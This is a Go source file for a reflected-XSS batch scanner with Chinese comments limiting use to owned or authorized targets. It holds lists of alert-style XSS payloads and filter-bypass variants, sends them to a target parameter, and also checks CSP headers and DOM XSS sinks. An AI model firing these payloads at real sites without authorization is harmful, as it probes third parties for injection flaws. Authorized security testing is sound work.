376 行
10 KiB
Go
376 行
10 KiB
Go
// xss-scanner.go - 高性能 XSS 批量扫描工具
|
|
//
|
|
// 授权边界:
|
|
// - 仅用于自有资产、测试环境或已明确授权的目标
|
|
// - 允许公网验证,但必须确认资产归属或授权关系
|
|
// - 不面向无授权第三方网站或泛互联网枚举
|
|
package main
|
|
|
|
import (
|
|
"encoding/json"
|
|
"flag"
|
|
"fmt"
|
|
"io"
|
|
"net/http"
|
|
"net/url"
|
|
"os"
|
|
"regexp"
|
|
"strings"
|
|
"sync"
|
|
"time"
|
|
)
|
|
|
|
type XSSResult struct {
|
|
URL string
|
|
Payload string
|
|
Type string
|
|
Category string
|
|
}
|
|
|
|
type XSSScanner struct {
|
|
Client *http.Client
|
|
Threads int
|
|
Timeout time.Duration
|
|
Payloads map[string][]string
|
|
Headers map[string]string
|
|
Cookie string
|
|
Quiet bool
|
|
}
|
|
|
|
var (
|
|
colorRed = "\033[91m"
|
|
colorGreen = "\033[92m"
|
|
colorYellow = "\033[93m"
|
|
colorBlue = "\033[94m"
|
|
colorCyan = "\033[96m"
|
|
colorBold = "\033[1m"
|
|
colorEnd = "\033[0m"
|
|
)
|
|
|
|
func NewXSSScanner(threads int, timeout time.Duration) *XSSScanner {
|
|
return &XSSScanner{
|
|
Client: &http.Client{
|
|
Timeout: timeout,
|
|
CheckRedirect: func(req *http.Request, via []*http.Request) error {
|
|
return http.ErrUseLastResponse
|
|
},
|
|
},
|
|
Threads: threads,
|
|
Timeout: timeout,
|
|
Headers: map[string]string{},
|
|
Payloads: map[string][]string{
|
|
"basic": {
|
|
"<script>alert(1)</script>",
|
|
"<script>alert('XSS')</script>",
|
|
"<img src=x onerror=alert(1)>",
|
|
"<svg onload=alert(1)>",
|
|
"<body onload=alert(1)>",
|
|
},
|
|
"event_handlers": {
|
|
"\"onfocus=alert(1) autofocus=",
|
|
"\"onmouseover=alert(1)//",
|
|
"\"onclick=alert(1)//",
|
|
"\"onerror=alert(1)//",
|
|
"\"onload=alert(1)//",
|
|
},
|
|
"tag_injection": {
|
|
"<img src=x onerror=alert(1)//",
|
|
"<svg/onload=alert(1)//",
|
|
"<video src=x onerror=alert(1)>",
|
|
"<details open ontoggle=alert(1)>",
|
|
"<marquee onstart=alert(1)>",
|
|
},
|
|
"filter_bypass": {
|
|
"<ScRiPt>alert(1)</ScRiPt>",
|
|
"<SCRIPT>alert(1)</SCRIPT>",
|
|
"<script >alert(1)</script >",
|
|
"<script\x00>alert(1)</script>",
|
|
},
|
|
"encoding": {
|
|
"%3Cscript%3Ealert(1)%3C/script%3E",
|
|
"<script>alert(1)</script>",
|
|
},
|
|
},
|
|
}
|
|
}
|
|
|
|
func (s *XSSScanner) SendRequest(targetURL, method, param, payload string) (string, error) {
|
|
var req *http.Request
|
|
var err error
|
|
|
|
if method == "GET" {
|
|
u, _ := url.Parse(targetURL)
|
|
q := u.Query()
|
|
q.Set(param, payload)
|
|
u.RawQuery = q.Encode()
|
|
req, err = http.NewRequest("GET", u.String(), nil)
|
|
} else {
|
|
data := url.Values{}
|
|
data.Set(param, payload)
|
|
req, err = http.NewRequest("POST", targetURL, strings.NewReader(data.Encode()))
|
|
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
|
}
|
|
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
|
|
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
|
|
for k, v := range s.Headers {
|
|
req.Header.Set(k, v)
|
|
}
|
|
if s.Cookie != "" {
|
|
req.Header.Set("Cookie", s.Cookie)
|
|
}
|
|
|
|
resp, err := s.Client.Do(req)
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
defer resp.Body.Close()
|
|
|
|
body, _ := io.ReadAll(resp.Body)
|
|
return string(body), nil
|
|
}
|
|
|
|
func (s *XSSScanner) ScanURL(targetURL, method, param string) []XSSResult {
|
|
var results []XSSResult
|
|
var mu sync.Mutex
|
|
|
|
var wg sync.WaitGroup
|
|
sem := make(chan struct{}, s.Threads)
|
|
|
|
for category, payloads := range s.Payloads {
|
|
for _, payload := range payloads {
|
|
wg.Add(1)
|
|
go func(cat, p string) {
|
|
defer wg.Done()
|
|
sem <- struct{}{}
|
|
defer func() { <-sem }()
|
|
|
|
body, err := s.SendRequest(targetURL, method, param, p)
|
|
if err != nil {
|
|
return
|
|
}
|
|
|
|
if strings.Contains(body, p) || strings.Contains(body, url.QueryEscape(p)) {
|
|
mu.Lock()
|
|
results = append(results, XSSResult{
|
|
URL: targetURL,
|
|
Payload: p,
|
|
Type: "Reflected XSS",
|
|
Category: cat,
|
|
})
|
|
mu.Unlock()
|
|
if !s.Quiet {
|
|
fmt.Printf("%s[VULN]%s [%s] %s - %s\n",
|
|
colorRed+colorBold, colorEnd, cat, param, p[:min(50, len(p))])
|
|
}
|
|
}
|
|
}(category, payload)
|
|
}
|
|
}
|
|
|
|
wg.Wait()
|
|
return results
|
|
}
|
|
|
|
func (s *XSSScanner) CheckCSP(targetURL string) map[string]interface{} {
|
|
result := map[string]interface{}{
|
|
"has_csp": false,
|
|
"csp": "",
|
|
"weaknesses": []string{},
|
|
}
|
|
|
|
resp, err := s.Client.Get(targetURL)
|
|
if err != nil {
|
|
return result
|
|
}
|
|
defer resp.Body.Close()
|
|
|
|
csp := resp.Header.Get("Content-Security-Policy")
|
|
if csp != "" {
|
|
result["has_csp"] = true
|
|
result["csp"] = csp
|
|
|
|
weaknesses := []string{}
|
|
if strings.Contains(csp, "unsafe-inline") {
|
|
weaknesses = append(weaknesses, "允许内联脚本 (unsafe-inline)")
|
|
}
|
|
if strings.Contains(csp, "unsafe-eval") {
|
|
weaknesses = append(weaknesses, "允许 eval (unsafe-eval)")
|
|
}
|
|
if strings.Contains(csp, "*") {
|
|
weaknesses = append(weaknesses, "使用通配符 (*)")
|
|
}
|
|
result["weaknesses"] = weaknesses
|
|
}
|
|
|
|
return result
|
|
}
|
|
|
|
func (s *XSSScanner) ScanDOMXSS(targetURL string) []map[string]string {
|
|
results := []map[string]string{}
|
|
|
|
resp, err := s.Client.Get(targetURL)
|
|
if err != nil {
|
|
return results
|
|
}
|
|
defer resp.Body.Close()
|
|
|
|
body, _ := io.ReadAll(resp.Body)
|
|
html := string(body)
|
|
|
|
patterns := map[string]string{
|
|
`document\.write\s*\([^)]*location`: "document.write with location",
|
|
`element\.innerHTML\s*=\s*[^;]*location`: "innerHTML with location",
|
|
`eval\s*\([^)]*location`: "eval with location",
|
|
`window\.location\.hash`: "location.hash usage",
|
|
}
|
|
|
|
for pattern, desc := range patterns {
|
|
matched, _ := regexp.MatchString(pattern, html)
|
|
if matched {
|
|
results = append(results, map[string]string{
|
|
"pattern": pattern,
|
|
"desc": desc,
|
|
})
|
|
}
|
|
}
|
|
|
|
return results
|
|
}
|
|
|
|
func min(a, b int) int {
|
|
if a < b {
|
|
return a
|
|
}
|
|
return b
|
|
}
|
|
|
|
func parseHeaders(raw string) map[string]string {
|
|
headers := map[string]string{}
|
|
if raw == "" {
|
|
return headers
|
|
}
|
|
for _, part := range strings.Split(raw, ",") {
|
|
pair := strings.SplitN(part, ":", 2)
|
|
if len(pair) != 2 {
|
|
continue
|
|
}
|
|
headers[strings.TrimSpace(pair[0])] = strings.TrimSpace(pair[1])
|
|
}
|
|
return headers
|
|
}
|
|
|
|
func main() {
|
|
target := flag.String("u", "", "Target URL")
|
|
method := flag.String("m", "GET", "HTTP Method (GET/POST)")
|
|
param := flag.String("p", "q", "Parameter to test")
|
|
threads := flag.Int("t", 10, "Number of threads")
|
|
timeout := flag.Duration("timeout", 10*time.Second, "Request timeout")
|
|
checkCSP := flag.Bool("check-csp", false, "Check CSP headers")
|
|
domScan := flag.Bool("dom-scan", false, "Scan for DOM XSS")
|
|
header := flag.String("header", "", "Extra headers in Name:Value,Name2:Value2 format")
|
|
cookie := flag.String("cookie", "", "Cookie header value")
|
|
format := flag.String("format", "text", "Output format: text or json")
|
|
output := flag.String("output", "", "Write output to file")
|
|
evidenceDir := flag.String("evidence-dir", "", "Optional evidence directory")
|
|
runID := flag.String("run-id", "", "Associated run ID")
|
|
caseID := flag.String("case-id", "", "Associated case ID")
|
|
ackAuthorized := flag.Bool("ack-authorized", false, "Confirm the target is owned or authorized")
|
|
|
|
flag.Parse()
|
|
|
|
if *target == "" || !*ackAuthorized {
|
|
fmt.Printf("%s[ERROR]%s Target URL is required. Use -u flag.\n", colorRed, colorEnd)
|
|
flag.Usage()
|
|
return
|
|
}
|
|
|
|
scanner := NewXSSScanner(*threads, *timeout)
|
|
scanner.Headers = parseHeaders(*header)
|
|
scanner.Cookie = *cookie
|
|
scanner.Quiet = *format != "text"
|
|
|
|
cspResult := map[string]interface{}{"has_csp": false, "weaknesses": []string{}}
|
|
if *checkCSP {
|
|
cspResult = scanner.CheckCSP(*target)
|
|
if *format == "text" && cspResult["has_csp"].(bool) {
|
|
fmt.Printf("%s[+]%s CSP configured: %s\n", colorGreen, colorEnd, cspResult["csp"].(string)[:min(100, len(cspResult["csp"].(string)))])
|
|
for _, w := range cspResult["weaknesses"].([]string) {
|
|
fmt.Printf("%s[-]%s Weakness: %s\n", colorYellow, colorEnd, w)
|
|
}
|
|
} else if *format == "text" {
|
|
fmt.Printf("%s[-]%s No CSP configured!\n", colorYellow, colorEnd)
|
|
}
|
|
}
|
|
|
|
domResults := []map[string]string{}
|
|
if *domScan {
|
|
domResults = scanner.ScanDOMXSS(*target)
|
|
if *format == "text" {
|
|
fmt.Printf("\n%s[*]%s Scanning for DOM XSS...\n", colorCyan, colorEnd)
|
|
}
|
|
for _, r := range domResults {
|
|
if *format != "text" {
|
|
continue
|
|
}
|
|
fmt.Printf("%s[-]%s Potential DOM XSS: %s\n", colorYellow, colorEnd, r["desc"])
|
|
}
|
|
}
|
|
|
|
results := scanner.ScanURL(*target, *method, *param)
|
|
report := map[string]interface{}{
|
|
"tool": "xss-scanner-go",
|
|
"mode": "bulk-reflected-xss",
|
|
"target": *target,
|
|
"status": "needs-review",
|
|
"severity": "info",
|
|
"timestamp": time.Now().UTC().Format(time.RFC3339),
|
|
"request_summary": map[string]interface{}{"method": *method, "param": *param, "threads": *threads},
|
|
"payload_or_probe": map[string]interface{}{"reflected_hits": results, "dom_hits": domResults, "csp": cspResult},
|
|
"evidence_refs": []string{},
|
|
"minimal_validation": "只读探测、最小化注入、可审计回显、可回滚验证。",
|
|
"authorization_scope": "lab-local, lab-public, authorized-third-party",
|
|
"destructive_risk": "low",
|
|
"run_id": *runID,
|
|
"case_id": *caseID,
|
|
}
|
|
if len(results) > 0 {
|
|
report["status"] = "verified"
|
|
report["severity"] = "high"
|
|
} else if len(domResults) > 0 {
|
|
report["status"] = "suspected"
|
|
report["severity"] = "medium"
|
|
}
|
|
if *evidenceDir != "" {
|
|
_ = os.MkdirAll(*evidenceDir, 0o755)
|
|
evidencePath := *evidenceDir + "/xss-scanner-go.json"
|
|
if raw, err := json.MarshalIndent(report, "", " "); err == nil {
|
|
_ = os.WriteFile(evidencePath, append(raw, '\n'), 0o644)
|
|
report["evidence_refs"] = append(report["evidence_refs"].([]string), evidencePath)
|
|
}
|
|
}
|
|
var content []byte
|
|
if *format == "json" {
|
|
content, _ = json.MarshalIndent(report, "", " ")
|
|
} else {
|
|
text := []string{
|
|
strings.Repeat("=", 60),
|
|
"XSS Scanner (Go)",
|
|
strings.Repeat("=", 60),
|
|
"Target: " + *target,
|
|
"Method: " + *method,
|
|
fmt.Sprintf("Reflected Hits: %d", len(results)),
|
|
fmt.Sprintf("DOM Findings: %d", len(domResults)),
|
|
"Status: " + report["status"].(string),
|
|
}
|
|
content = []byte(strings.Join(text, "\n"))
|
|
}
|
|
if *output != "" {
|
|
_ = os.WriteFile(*output, append(content, '\n'), 0o644)
|
|
}
|
|
fmt.Println(string(content))
|
|
}
|